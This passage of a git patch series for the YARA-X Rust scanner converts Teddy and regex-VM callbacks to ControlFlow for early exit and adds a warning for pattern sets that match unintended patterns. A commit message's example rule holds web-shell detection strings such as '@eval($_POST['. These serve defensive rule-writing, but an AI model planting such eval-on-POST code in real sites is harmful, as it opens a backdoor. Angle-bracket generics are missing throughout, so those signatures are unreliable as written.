callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start; while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1145,36 +1245,52 @@ impl Fat { let prev_bound = cur; cur = end.sub(V::Half::BYTES); let c = self.candidate(cur); - if !c.is_zero() { - self.teddy.verify_all(cur, end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur, end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(1); let mut prev0 = V::splat(0xFF); while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1183,37 +1299,53 @@ impl Fat { cur = end.sub(V::Half::BYTES); prev0 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(2); let mut prev0 = V::splat(0xFF); let mut prev1 = V::splat(0xFF); while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1223,29 +1355,40 @@ impl Fat { prev0 = V::splat(0xFF); prev1 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(3); let mut prev0 = V::splat(0xFF); @@ -1254,8 +1397,13 @@ impl Fat { while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1267,14 +1415,22 @@ impl Fat { prev2 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } @@ -1419,9 +1575,11 @@ mod tests { let candidate_chunk = 1 << 7; let mut matches = Vec::new(); unsafe { - teddy.verify64_all(start, end, candidate_chunk, &mut |m| { - matches.push(m.pid); - }); + let _ = + teddy.verify64_all(start, end, candidate_chunk, |m: Match| { + matches.push(m.pid); + ControlFlow::Continue(()) + }); } assert_eq!(matches, vec![0]); } @@ -1448,7 +1606,8 @@ mod tests { ($s:expr, $start:expr, $end:expr) => {{ let mut found = false; $s.find_overlapping($start, $end, &mut |_| { - found = true + found = true; + ControlFlow::Continue(()) }); assert!(found); }}; @@ -1473,10 +1632,18 @@ mod tests { let short_haystack = b"abc"; let s_start = short_haystack.as_ptr(); let s_end = s_start.add(short_haystack.len()); - s1.find_overlapping(s_start, s_end, &mut |_| {}); - s2.find_overlapping(s_start, s_end, &mut |_| {}); - s3.find_overlapping(s_start, s_end, &mut |_| {}); - s4.find_overlapping(s_start, s_end, &mut |_| {}); + s1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + s2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + s3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + s4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); let mut tail_haystack = [0x01; 25]; tail_haystack[9..13].copy_from_slice(b"abcd"); @@ -1501,10 +1668,18 @@ mod tests { assert_finds!(f3, start, end); assert_finds!(f4, start, end); - f1.find_overlapping(s_start, s_end, &mut |_| {}); - f2.find_overlapping(s_start, s_end, &mut |_| {}); - f3.find_overlapping(s_start, s_end, &mut |_| {}); - f4.find_overlapping(s_start, s_end, &mut |_| {}); + let _ = f1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); assert_finds!(f1, t_start, t_end); assert_finds!(f2, t_start, t_end); @@ -1513,6 +1688,27 @@ mod tests { } } } + + #[test] + fn slim_searcher_early_termination() { + let pats = Arc::new(Patterns { + by_id: vec![b"abcd".to_vec()], + minimum_len: 4, + }); + let s1 = unsafe { Slim::<__m128i, 1>::new(pats) }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let start = haystack.as_ptr(); + let end = unsafe { start.add(haystack.len()) }; + + let mut count = 0; + unsafe { + let _ = s1.find_overlapping(start, end, &mut |_| { + count += 1; + ControlFlow::Break(()) + }); + } + assert_eq!(count, 1); + } } #[cfg(all( @@ -1540,8 +1736,9 @@ mod tests { macro_rules! assert_finds { ($s:expr, $start:expr, $end:expr) => {{ let mut found = false; - $s.find_overlapping($start, $end, &mut |_| { - found = true + let _ = $s.find_overlapping($start, $end, &mut |_| { + found = true; + ControlFlow::Continue(()) }); assert!(found); }}; @@ -1566,10 +1763,18 @@ mod tests { let short_haystack = b"abc"; let s_start = short_haystack.as_ptr(); let s_end = s_start.add(short_haystack.len()); - s1.find_overlapping(s_start, s_end, &mut |_| {}); - s2.find_overlapping(s_start, s_end, &mut |_| {}); - s3.find_overlapping(s_start, s_end, &mut |_| {}); - s4.find_overlapping(s_start, s_end, &mut |_| {}); + let _ = s1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); let mut tail_haystack = [0x01; 25]; tail_haystack[9..13].copy_from_slice(b"abcd"); @@ -1582,5 +1787,26 @@ mod tests { assert_finds!(s4, t_start, t_end); } } + + #[test] + fn slim_searcher_early_termination_aarch64() { + let pats = Arc::new(Patterns { + by_id: vec![b"abcd".to_vec()], + minimum_len: 4, + }); + let s1 = unsafe { Slim::::new(pats) }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let start = haystack.as_ptr(); + let end = unsafe { start.add(haystack.len()) }; + + let mut count = 0; + unsafe { + let _ = s1.find_overlapping(start, end, &mut |_| { + count += 1; + ControlFlow::Break(()) + }); + } + assert_eq!(count, 1); + } } } diff --git a/lib/src/teddy/mod.rs b/lib/src/teddy/mod.rs index 0c83dd7c9..51832a0b3 100644 --- a/lib/src/teddy/mod.rs +++ b/lib/src/teddy/mod.rs @@ -10,6 +10,7 @@ with minor modifications. #![allow(clippy::new_ret_no_self)] use core::fmt::Debug; +use std::ops::ControlFlow; use std::sync::Arc; mod generic; @@ -22,8 +23,8 @@ pub(crate) trait SearcherT: Debug + Send + Sync { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ); + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()>; } #[derive(Clone, Debug)] @@ -155,22 +156,42 @@ pub(crate) struct Searcher { impl Searcher { #[inline(always)] - pub(crate) fn find_overlapping( + pub(crate) fn find_overlapping( &self, haystack: &[u8], at: usize, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow + where + F: FnMut(Match) -> ControlFlow, + C: Default, + { if haystack[at..].len() < self.minimum_len { - return; + return ControlFlow::Continue(C::default()); } let hayptr = haystack.as_ptr(); + let mut break_val = None; + let mut last_continue = None; unsafe { - self.imp.find_overlapping( + let res = self.imp.find_overlapping( hayptr.add(at), hayptr.add(haystack.len()), - callback, + &mut |m| match callback(m) { + ControlFlow::Continue(c) => { + last_continue = Some(c); + ControlFlow::Continue(()) + } + ControlFlow::Break(b) => { + break_val = Some(b); + ControlFlow::Break(()) + } + }, ); + if res.is_break() { + ControlFlow::Break(break_val.unwrap()) + } else { + ControlFlow::Continue(last_continue.unwrap_or_default()) + } } } @@ -238,11 +259,11 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { self.slim128.find_overlapping(start, end, callback) - }; + } } } }; @@ -284,17 +305,17 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { let len = (end as usize).saturating_sub(start as usize); if len < self.slim256.minimum_len() { unsafe { self.slim128.find_overlapping(start, end, callback) - }; + } } else { unsafe { self.slim256.find_overlapping(start, end, callback) - }; + } } } } @@ -331,11 +352,11 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { self.fat256.find_overlapping(start, end, callback) - }; + } } } }; @@ -354,6 +375,7 @@ mod x86_64 { mod aarch64 { use super::{Match, Patterns, Searcher, SearcherT}; use core::arch::aarch64::uint8x16_t; + use std::ops::ControlFlow; use std::sync::Arc; #[derive(Clone, Debug)] @@ -382,10 +404,10 @@ mod aarch64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { - self.slim128.find_overlapping(start, end, callback); + self.slim128.find_overlapping(start, end, callback) } } } @@ -417,11 +439,16 @@ mod tests { let searcher = builder.build()?; let base = haystack.as_ptr() as usize; let mut matches = Vec::new(); - searcher.find_overlapping(haystack, at, &mut |m| { - let start = m.start() as usize - base; - let end = m.end() as usize - base; - matches.push((m.pattern(), start, end)); - }); + let _ = searcher.find_overlapping( + haystack, + at, + |m: Match| -> ControlFlow<()> { + let start = m.start() as usize - base; + let end = m.end() as usize - base; + matches.push((m.pattern(), start, end)); + ControlFlow::Continue(()) + }, + ); Some(matches) } @@ -757,4 +784,25 @@ mod tests { }; assert!(s.minimum_len() >= 2); } + + #[test] + fn searcher_early_exit_on_timeout() { + let mut b = Builder::new(); + b.add(b"abcd"); + let Some(searcher) = b.build() else { + return; + }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let mut count = 0; + let res = searcher.find_overlapping( + &haystack, + 0, + |_m: Match| -> ControlFlow<&'static str> { + count += 1; + ControlFlow::Break("timeout") + }, + ); + assert_eq!(count, 1); + assert_eq!(res, ControlFlow::Break("timeout")); + } } From 9266f440aabb28cef6ee239705e4aebbb68813af Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Mon, 3 Aug 2026 11:49:31 +0200 Subject: [PATCH 020/259] fix: add missing import. --- lib/src/teddy/mod.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/src/teddy/mod.rs b/lib/src/teddy/mod.rs index 51832a0b3..8f3159d8a 100644 --- a/lib/src/teddy/mod.rs +++ b/lib/src/teddy/mod.rs @@ -231,6 +231,7 @@ fn is_available_avx2() -> bool { mod x86_64 { use super::{Match, Patterns, Searcher, SearcherT}; use core::arch::x86_64::{__m128i, __m256i}; + use std::ops::ControlFlow; use std::sync::Arc; #[derive(Clone, Debug)] From 2f276995864c78c45443b8de6d0f8507eab2f242 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Mon, 3 Aug 2026 12:04:33 +0200 Subject: [PATCH 021/259] refactor: replace the `Action` type with the standard `ControlFlow`. --- lib/src/re/fast/fastvm.rs | 10 +++++----- lib/src/re/mod.rs | 8 -------- lib/src/re/thompson/pikevm.rs | 26 +++++++++++++------------- lib/src/scanner/context.rs | 12 ++++++------ 4 files changed, 24 insertions(+), 32 deletions(-) diff --git a/lib/src/re/fast/fastvm.rs b/lib/src/re/fast/fastvm.rs index ee8e6a217..01b755177 100644 --- a/lib/src/re/fast/fastvm.rs +++ b/lib/src/re/fast/fastvm.rs @@ -1,5 +1,5 @@ use std::cell::Cell; -use std::ops::RangeInclusive; +use std::ops::{ControlFlow, RangeInclusive}; use std::{cmp, mem}; use bitflags::bitflags; @@ -7,7 +7,7 @@ use itertools::izip; use crate::re::bitmapset::BitmapSet; use crate::re::fast::instr::{Instr, InstrParser}; -use crate::re::{Action, CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; +use crate::re::{CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; /// A faster but less general alternative to [PikeVM]. /// @@ -69,7 +69,7 @@ impl<'r> FastVM<'r> { start: C, input: &[u8], wide: bool, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, { @@ -125,11 +125,11 @@ impl<'r> FastVM<'r> { } } match f(*position) { - Action::Stop => { + ControlFlow::Break(_) => { stop = true; break; } - Action::Continue => {} + ControlFlow::Continue(_) => {} } } if stop { diff --git a/lib/src/re/mod.rs b/lib/src/re/mod.rs index b871ed8e0..520acc3d7 100644 --- a/lib/src/re/mod.rs +++ b/lib/src/re/mod.rs @@ -147,14 +147,6 @@ impl CodeLoc for BckCodeLoc { } } -/// Value returned by the callback functions passed to [`PikeVM::try_match`] -/// and [`FastVM::try_match`] for indicating if VM should continue trying to -/// find more matches or stop without trying to find more matches. -pub(crate) enum Action { - Continue, - Stop, -} - /// WideIter is an iterator that takes a byte iterator and consumes it two /// bytes at a time, returning one of the bytes and making sure that other /// is zero. Which of the two bytes is returned and which is zero depends diff --git a/lib/src/re/thompson/pikevm.rs b/lib/src/re/thompson/pikevm.rs index 1c251e62e..57f1984d8 100644 --- a/lib/src/re/thompson/pikevm.rs +++ b/lib/src/re/thompson/pikevm.rs @@ -1,11 +1,11 @@ +use bitvec::array::BitArray; use std::cell::Cell; use std::mem; - -use bitvec::array::BitArray; +use std::ops::ControlFlow; use super::instr::{Instr, InstrParser, Offset}; use crate::re::thompson::instr::SplitId; -use crate::re::{Action, CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; +use crate::re::{CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; /// Represents a [Pike's VM](https://swtch.com/~rsc/regexp/regexp2.html) that /// executes VM code produced by the [compiler][`crate::re::compiler::Compiler`]. @@ -70,8 +70,8 @@ impl<'r> PikeVM<'r> { /// starting point /// ``` /// - /// The `f` function must return either [`Action::Continue`] or - /// [`Action::Stop`], the former will cause the VM to keep trying to find + /// The `f` function must return either [`ControlFlow::Continue`] or + /// [`ControlFlow::Break`], the former will cause the VM to keep trying to find /// longer matches, while the latter will stop the scanning. #[inline] pub(crate) fn try_match( @@ -80,7 +80,7 @@ impl<'r> PikeVM<'r> { right: &[u8], left: &[u8], wide: bool, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, { @@ -98,7 +98,7 @@ impl<'r> PikeVM<'r> { WideIter::non_zero_first(right.iter(), &error_fwd), WideIter::zero_first(left.iter().rev(), &error_bck), |match_len| match error_fwd.get() { - Some(pos) if pos < match_len => Action::Stop, + Some(pos) if pos < match_len => ControlFlow::Break(()), _ => f(match_len * 2), }, ) @@ -116,7 +116,7 @@ impl<'r> PikeVM<'r> { WideIter::zero_first(left.iter().rev(), &error_fwd), WideIter::non_zero_first(right.iter(), &error_bck), |match_len| match error_fwd.get() { - Some(pos) if pos < match_len => Action::Stop, + Some(pos) if pos < match_len => ControlFlow::Break(()), _ => f(match_len * 2), }, ) @@ -131,8 +131,8 @@ impl<'r> PikeVM<'r> { /// The number of matching bytes can be zero, as some regexps can match /// a zero-length string. /// - /// The `f` function must return either [`Action::Continue`] or - /// [`Action::Stop`], the former will cause the VM to keep trying to find + /// The `f` function must return either [`ControlFlow::Continue`] or + /// [`ControlFlow::Break`], the former will cause the VM to keep trying to find /// longer matches, while the latter will stop the scanning. /// /// `bck_input` is an iterator that returns the bytes that are before @@ -156,7 +156,7 @@ impl<'r> PikeVM<'r> { start: C, mut fwd_input: F, mut bck_input: B, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, F: Iterator, @@ -274,8 +274,8 @@ impl<'r> PikeVM<'r> { matches!(curr_byte, Some(b) if class.contains(*b)) } Instr::Match => match f(current_pos) { - Action::Stop => break, - Action::Continue => false, + ControlFlow::Break(_) => break, + ControlFlow::Continue(_) => false, }, _ => unreachable!(), }; diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 6cf0fe1e4..104e3a0c4 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -29,8 +29,8 @@ use crate::compiler::{ SubPatternAtom, SubPatternFlags, SubPatternId, }; use crate::errors::VariableError; -use crate::re::Action; use crate::re::fast::FastVM; + use crate::re::hir::ChainedPatternGap; use crate::re::thompson::PikeVM; #[cfg(feature = "rules-profiling")] @@ -1552,9 +1552,9 @@ fn verify_regexp( |match_len| { fwd_match_len = Some(match_len); if flags.contains(SubPatternFlags::GreedyRegexp) { - Action::Continue + ControlFlow::Continue(()) } else { - Action::Stop + ControlFlow::Break(()) } }, ); @@ -1566,7 +1566,7 @@ fn verify_regexp( flags.contains(SubPatternFlags::Wide), |match_len| { fwd_match_len = Some(match_len); - Action::Stop + ControlFlow::Break(()) }, ); } @@ -1591,7 +1591,7 @@ fn verify_regexp( if verify_full_word(scanned_data, &range, flags, None) { f(range); } - Action::Continue + ControlFlow::Continue(()) }, ); } else { @@ -1606,7 +1606,7 @@ fn verify_regexp( if verify_full_word(scanned_data, &range, flags, None) { f(range); } - Action::Continue + ControlFlow::Continue(()) }, ); } From 5e40e6ad219fcb4d566bb7880d47c8161f266e35 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 5 Aug 2026 10:53:23 +0200 Subject: [PATCH 022/259] feat: raise warning when patterns are unintendedly included in a set. (#729) Many YARA rules contain subtle mistakes due to pattern sets that include patterns that were not meant to be part of the set. For instance, consider this rule: ``` rule example { strings: $bd1 = "@eval($_POST[" ascii $bd2 = "@assert($_POST[" ascii $b1 = "pluginWrapper plugin_" ascii $b2 = "data-areaid=" ascii $b3 = "PowerbyDedeCms" ascii $b4 = "dede_fieldshash" ascii $b5 = "/plus/diy.php" ascii condition: 1 of ($bd*) and 2 of ($b*) } ``` The intention here was detecting files that contained one of $bd1, $bd2 and two of $b1, $b2, $b3, $b4, $b5. However, the expression `2 of ($b*)` also includes `$bd1` and `$bd2`, as `$b*` not only matches `$b1` to `$b5`, but `$bd1` and `$bd2` as well. This type of error is very common, and this PR introduces a new warning for detecting these situations. --- lib/src/compiler/ir/ast2ir.rs | 514 +++++++++++++++--- .../compiler/tests/testdata/warnings/49.in | 19 + .../compiler/tests/testdata/warnings/49.out | 14 + .../compiler/tests/testdata/warnings/50.in | 19 + .../compiler/tests/testdata/warnings/50.out | 28 + .../compiler/tests/testdata/warnings/51.in | 9 + .../compiler/tests/testdata/warnings/51.out | 14 + .../compiler/tests/testdata/warnings/52.in | 9 + .../compiler/tests/testdata/warnings/52.out | 14 + .../tests/testdata/warnings/no_warnings.in | 58 +- .../tests/testdata/warnings/no_warnings.out | 39 ++ lib/src/compiler/warnings.rs | 35 ++ parser/src/ast/mod.rs | 76 +++ 13 files changed, 779 insertions(+), 69 deletions(-) create mode 100644 lib/src/compiler/tests/testdata/warnings/49.in create mode 100644 lib/src/compiler/tests/testdata/warnings/49.out create mode 100644 lib/src/compiler/tests/testdata/warnings/50.in create mode 100644 lib/src/compiler/tests/testdata/warnings/50.out create mode 100644 lib/src/compiler/tests/testdata/warnings/51.in create mode 100644 lib/src/compiler/tests/testdata/warnings/51.out create mode 100644 lib/src/compiler/tests/testdata/warnings/52.in create mode 100644 lib/src/compiler/tests/testdata/warnings/52.out diff --git a/lib/src/compiler/ir/ast2ir.rs b/lib/src/compiler/ir/ast2ir.rs index 79c019f3c..1491f204e 100644 --- a/lib/src/compiler/ir/ast2ir.rs +++ b/lib/src/compiler/ir/ast2ir.rs @@ -5,7 +5,7 @@ use std::cell::RefCell; use std::collections::BTreeSet; use std::hash::{Hash, Hasher}; use std::iter; -use std::ops::RangeInclusive; +use std::ops::{ControlFlow, RangeInclusive}; use std::rc::Rc; use bstr::{BString, ByteSlice}; @@ -477,9 +477,9 @@ pub(in crate::compiler) fn regexp_pattern_from_ast<'src>( } /// Given the AST for some expression, creates its IR. -fn expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, ) -> Result { let expr = match expr { ast::Expr::Entrypoint { span } => { @@ -998,9 +998,9 @@ fn expr_from_ast( Ok(expr) } -pub(in crate::compiler) fn rule_condition_from_ast( - ctx: &mut CompileContext, - rule: &ast::Rule, +pub(in crate::compiler) fn rule_condition_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + rule: &'src ast::Rule<'src>, ) -> Result { // Start with clean IR tree. ctx.ir.clear(); @@ -1028,12 +1028,14 @@ pub(in crate::compiler) fn rule_condition_from_ast( ctx.ir.root = Some(condition); + check_unintended_patterns_in_sets(ctx, &rule.condition); + Ok(condition) } -fn bool_expr_from_ast( - ctx: &mut CompileContext, - ast: &ast::Expr, +fn bool_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + ast: &ast::Expr<'src>, ) -> Result { let expr = expr_from_ast(ctx, ast)?; @@ -1117,9 +1119,9 @@ impl OfItems { } } -fn of_expr_from_ast( - ctx: &mut CompileContext, - of: &ast::Of, +fn of_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + of: &ast::Of<'src>, ) -> Result { let quantifier = quantifier_from_ast(ctx, &of.quantifier)?; let mut stack_frame = @@ -1294,9 +1296,9 @@ fn of_expr_from_ast( Ok(expr) } -fn for_of_expr_from_ast( - ctx: &mut CompileContext, - for_of: &ast::ForOf, +fn for_of_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + for_of: &ast::ForOf<'src>, ) -> Result { let quantifier = quantifier_from_ast(ctx, &for_of.quantifier)?; let pattern_set = pattern_set_from_ast(ctx, &for_of.pattern_set)?; @@ -1424,9 +1426,9 @@ fn is_potentially_large_range(ctx: &CompileContext, range: &Range) -> bool { .is_some() } -fn for_in_expr_from_ast( - ctx: &mut CompileContext, - for_in: &ast::ForIn, +fn for_in_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + for_in: &ast::ForIn<'src>, ) -> Result { let quantifier = quantifier_from_ast(ctx, &for_in.quantifier)?; let iterable = iterable_from_ast(ctx, &for_in.iterable)?; @@ -1568,9 +1570,9 @@ fn for_in_expr_from_ast( Ok(ctx.ir.for_in(quantifier, variables, for_vars, iterable, body)) } -fn with_expr_from_ast( - ctx: &mut CompileContext, - with: &ast::With, +fn with_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + with: &ast::With<'src>, ) -> Result { // Create stack frame with capacity for the with statement variables let mut stack_frame = ctx @@ -1640,9 +1642,9 @@ fn with_expr_from_ast( Ok(ctx.ir.with(declarations, body)) } -fn iterable_from_ast( - ctx: &mut CompileContext, - iter: &ast::Iterable, +fn iterable_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + iter: &ast::Iterable<'src>, ) -> Result { match iter { ast::Iterable::Range(range) => { @@ -1693,9 +1695,9 @@ fn iterable_from_ast( } } -fn anchor_from_ast( - ctx: &mut CompileContext, - anchor: &Option, +fn anchor_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + anchor: &Option>, ) -> Result { match anchor { Some(ast::MatchAnchor::At(at_)) => { @@ -1708,9 +1710,9 @@ fn anchor_from_ast( } } -fn range_from_ast( - ctx: &mut CompileContext, - range: &ast::Range, +fn range_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + range: &ast::Range<'src>, ) -> Result { let lower_bound = non_negative_integer_from_ast(ctx, &range.lower_bound)?; let upper_bound = non_negative_integer_from_ast(ctx, &range.upper_bound)?; @@ -1739,9 +1741,9 @@ fn range_from_ast( Ok(Range { lower_bound, upper_bound }) } -fn non_negative_integer_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn non_negative_integer_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, ) -> Result { let span = expr.span(); let expr = expr_from_ast(ctx, expr)?; @@ -1761,9 +1763,9 @@ fn non_negative_integer_from_ast( Ok(expr) } -fn integer_in_range_from_ast( - ctx: &mut CompileContext, - expr: &ast::Expr, +fn integer_in_range_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::Expr<'src>, range: RangeInclusive, ) -> Result { let span = expr.span(); @@ -1789,9 +1791,9 @@ fn integer_in_range_from_ast( Ok(expr) } -fn quantifier_from_ast( - ctx: &mut CompileContext, - quantifier: &ast::Quantifier, +fn quantifier_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + quantifier: &ast::Quantifier<'src>, ) -> Result { match quantifier { ast::Quantifier::None { .. } => Ok(Quantifier::None), @@ -1811,9 +1813,9 @@ fn quantifier_from_ast( } } -fn pattern_set_from_ast( - ctx: &mut CompileContext, - pattern_set: &ast::PatternSet, +fn pattern_set_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + pattern_set: &ast::PatternSet<'src>, ) -> Result, CompileError> { match pattern_set { // `x of them` @@ -1883,9 +1885,393 @@ fn pattern_set_from_ast( } } -fn func_call_from_ast( - ctx: &mut CompileContext, - func_call: &ast::FuncCall, +/// Represents a single conjunctive branch (a set of condition sub-expressions +/// that must be true at the same time, i.e., joined by `AND` operators within +/// an execution path). +#[derive(Clone, Debug, Default)] +pub(crate) struct ConjunctiveBranch<'src> { + exprs: Vec<&'src ast::Expr<'src>>, +} + +impl<'src> ConjunctiveBranch<'src> { + /// Returns the AST sub-expressions in this conjunctive branch. + #[inline] + pub fn exprs(&self) -> &[&'src ast::Expr<'src>] { + &self.exprs + } + + /// Merges another conjunctive branch into this branch. + #[allow(dead_code)] + pub fn merge(&mut self, other: &ConjunctiveBranch<'src>) { + self.exprs.extend_from_slice(&other.exprs); + } +} + +/// Container for all conjunctive branches of an AST expression tree. +#[derive(Clone, Debug)] +pub(crate) struct ConjunctiveBranches<'src> { + branches: Vec>, +} + +/// Stack frame representing an execution step during iterative DNF AST +/// expansion. +enum Frame<'src> { + /// Evaluates a sequence of child AST sub-expressions sequentially, + /// passing accumulated conjunctive branches from one child to the next. + Sequence { + exprs: Box> + 'src>, + branches: Vec>, + }, + /// Evaluates disjunctive (`OR`) alternative branches independently, + /// feeding each operand a snapshot of the input branches and combining + /// the resulting branches from all operands. + Disjunction { + operands: Box> + 'src>, + branches: Vec>, + results: Vec>, + }, +} + +impl<'src> ConjunctiveBranches<'src> { + /// Maximum 